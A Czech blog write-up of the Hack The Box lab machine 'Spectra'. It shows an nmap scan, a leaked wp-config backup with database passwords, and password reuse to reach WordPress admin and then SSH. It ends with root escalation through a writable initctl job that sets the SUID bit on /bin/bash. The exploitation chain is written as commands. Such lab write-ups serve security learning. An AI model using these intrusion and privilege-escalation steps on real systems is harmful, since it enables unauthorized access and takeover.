tom@home.htb:~$

Blog o HTB

19 January 2021

Spectra

Úvod a kontext

Spectra stojí na kombinaci dvou častých provozních chyb: zapomenuté vývojové artefakty ve webrootu a příliš široká práva kolem interních servisních jobů. Webová část je postavená na WordPressu a zásadní zlom přijde ve chvíli, kdy veřejně dostupný záložní soubor prozradí databázové heslo. To dobře zapadá do vzorce popsaného v článku Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.

Druhá polovina stroje je ještě zajímavější. Root nevzniká ze stejné WordPress chyby, ale z toho, že uživatel katie smí přes sudo ovládat initctl, zatímco definice testovacích jobů jsou zapisovatelné skupinou developers. To je typická kombinace, která sama o sobě nemusí vypadat dramaticky, ale dohromady znamená spuštění vlastního kódu jako root.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji dostupné služby a ověřuji, jestli jde o čistě webový stroj, nebo zda má i další vstupní body.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1
80/tcp   open  http    nginx 1.17.4
3306/tcp open  mysql   MySQL (unauthorized)

SSH a MySQL jsou užitečné hlavně pro pozdější pivot. Pro první vstup je rozhodující web.

Dvě WordPress instance

Web ukazoval dvě cesty:

Jakmile vedle produkčního webu existuje ještě testing, má smysl obě větve projít zvlášť. Vývojová nebo testovací instance bývá méně udržovaná a často obsahuje záložní soubory.

Analýza zjištění

Veřejný wp-config.php.save

Rozhodující stopou byl záložní konfigurační soubor v testovací instanci:

view-source:http://spectra.htb/testing/wp-config.php.save
define( 'DB_NAME', 'dev' );
define( 'DB_USER', 'devtest' );
define( 'DB_PASSWORD', 'devteam01' );

Takový soubor je nebezpečný hned dvakrát:

Přihlášení do /main/wp-admin/

V tomto případě se reuse opravdu potvrdil. Heslo devteam01 fungovalo i pro účet administrator v hlavní instanci:

http://spectra.htb/main/wp-admin/
administrator / devteam01

Jakmile je k dispozici administrace WordPressu, nejde už jen o přístup do CMS. Administrátor může měnit pluginy nebo šablony a tím spouštět vlastní PHP kód na serveru.

Získání přístupu

Shell z WordPress administrace

Nejjednodušší cesta vedla přes úpravu pluginu nebo PHP šablony a její následnou aktivaci. Tím vznikl shell v kontextu webového uživatele.

Po footholdu stálo za to projít lokální konfigurace. Zajímavé byly hlavně dva artefakty:

/** MySQL database username */
define( 'DB_USER', 'dev' );

/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );

a také:

cat /etc/autologin/passwd
SummerHereWeCome!!

Právě heslo z autologinu mělo vyšší praktickou hodnotu než databázová hesla, protože otevřelo SSH účet katie:

ssh katie@10.10.10.229
SummerHereWeCome!!

Tím se z webového footholdu stal stabilní shell v běžném uživatelském kontextu. User flag šlo pak potvrdit standardně:

cat user.txt
__CENSORED__

Eskalace oprávnění

initctl a writable test jobs

První důležitý výstup lokální enumerace byl:

sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

initctl samo o sobě ještě root nedává. Rozhodující bylo až to, že v /etc/init/ existovaly testovací joby, které spouštěly Node.js skript /srv/nodetest.js, a soubory kolem tohoto workflow byly zapisovatelné skupinou developers, jejímž členem katie byla. Právě to je typický příklad pro článek Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci.

To vytváří jasný privesc řetězec:

Jedna z nejjednodušších variant je upravit job tak, aby nastavil SUID bit na /bin/bash:

script
    chmod +s /bin/bash
end script

Pak už stačí službu spustit:

sudo /sbin/initctl start test
/bin/bash -p

Tím vznikne root shell a následně i přístup k root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: rce - ssh - sudo - php - exploit - enumeration